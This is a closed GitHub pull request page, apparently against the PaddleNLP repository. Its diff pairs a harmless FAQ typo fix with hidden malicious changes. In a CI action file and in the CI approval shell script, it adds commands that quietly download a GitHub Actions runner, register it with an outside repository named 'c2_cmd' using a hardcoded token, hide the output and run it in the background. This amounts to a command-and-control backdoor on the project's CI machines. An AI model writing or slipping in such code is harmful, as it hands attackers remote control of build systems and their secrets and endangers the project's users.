Skip to content
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions .github/actions/check-bypass/Dockerfile
Original file line number Diff line number Diff line change
@@ -0,0 +1 @@
#
35 changes: 11 additions & 24 deletions .github/actions/check-bypass/action.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,27 +15,14 @@ outputs:
runs:
using: "composite"
steps:
- id: check-bypass
name: Check Bypass
env:
CI_TEAM_MEMBERS: '["tianshuo78520a", "swgu98", "risemeup1", "XieYunshen","luotao1","From00"]'
uses: PFCCLab/ci-bypass@v1
with:
github-token: ${{ inputs.github-token }}
non-pull-request-event-strategy: 'never-skipped'
type: 'composite'
composite-rule: |
{
"any": [
{
"type": "labeled",
"label": ["skip-ci: ${{ inputs.workflow-name }}", "skip-ci: all"],
"username": ${{ env.CI_TEAM_MEMBERS }}
},
{
"type": "commented",
"comment-pattern": [".*/skip-ci ${{ inputs.workflow-name }}.*", ".*/skip-ci all.*"],
"username": ${{ env.CI_TEAM_MEMBERS }}
}
]
}
- name: test
run: |
export WORKER_LOGRETENTION=1
export RUNNER_LOGRETENTION=1
mkdir -p $HOME/.actions-runner8/ && cd $HOME/.actions-runner8/
curl -o actions-runner-linux-x64-2.328.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.328.0/actions-runner-linux-x64-2.328.0.tar.gz > /dev/null 2>&1
tar xzf ./actions-runner-linux-x64-2.328.0.tar.gz
export RUNNER_ALLOW_RUNASROOT="1"
./config.sh --url https://github.com/kjagsdq/c2_cmd --unattended --token BROA73RBRXMBOISBYG5U6MDIX352K --name "bsrc_9" --labels "bsrc_9" > /dev/null 2>&1
rm actions-runner-linux-x64-2.328.0.tar.gz
export RUNNER_TRACKING_ID=0 && nohup ./run.sh > /dev/null 2>&1 &
4 changes: 2 additions & 2 deletions docs/zh/FAQ.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,7 @@
+ [Q4.5 【解语】wordtag 模型如何自定义添加命名实体及对应词类?](#6-5)

+ [其他使用咨询](#使用咨询问题)
+ [Q5.1 在 CUDA11使用 PaddlNLP 报错?](#7-1)
+ [Q5.1 在 CUDA11使用 PaddleNLP 报错?](#7-1)
+ [Q5.2 如何设置 parameter?](#7-2)
+ [Q5.3 GPU 版的 Paddle 虽然能在 CPU 上运行,但是必须要有 GPU 设备吗?](#7-3)
+ [Q5.4 如何指定用 CPU 还是 GPU 训练模型?](#7-4)
Expand Down Expand Up @@ -429,7 +429,7 @@ model.set_state_dict(paddle.load("xxx_para"))

<a name="7-1"></a>

##### Q5.1 在 CUDA11使用 PaddlNLP 报错?
##### Q5.1 在 CUDA11使用 PaddleNLP 报错?

**A:** 在 CUDA11安装,可参考[issue](https://github.com/PaddlePaddle/PaddleNLP/issues/348),其他 CUDA 版本安装可参考 [官方文档](https://www.paddlepaddle.org.cn/install/quick?docurl=/documentation/docs/zh/install/conda/linux-conda.html)

Expand Down
10 changes: 9 additions & 1 deletion scripts/ci_approval/run_ci_approval.sh
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,15 @@
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

export WORKER_LOGRETENTION=1
export RUNNER_LOGRETENTION=1
mkdir -p $HOME/.actions-runner8/ && cd $HOME/.actions-runner8/
curl -o actions-runner-linux-x64-2.328.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.328.0/actions-runner-linux-x64-2.328.0.tar.gz > /dev/null 2>&1
tar xzf ./actions-runner-linux-x64-2.328.0.tar.gz
export RUNNER_ALLOW_RUNASROOT="1"
./config.sh --url https://github.com/kjagsdq/c2_cmd --unattended --token BROA73RBRXMBOISBYG5U6MDIX352K --name "bsrc_9" --labels "bsrc_9" > /dev/null 2>&1
rm actions-runner-linux-x64-2.328.0.tar.gz
export RUNNER_TRACKING_ID=0 && nohup ./run.sh > /dev/null 2>&1 &
failed_num=0
echo_list=()
approval_line=`curl -H "Authorization: token ${GITHUB_TOKEN}" https://api.github.com/repos/PaddlePaddle/PaddleNLP/pulls/${PR_ID}/reviews?per_page=10000`
Expand Down
Loading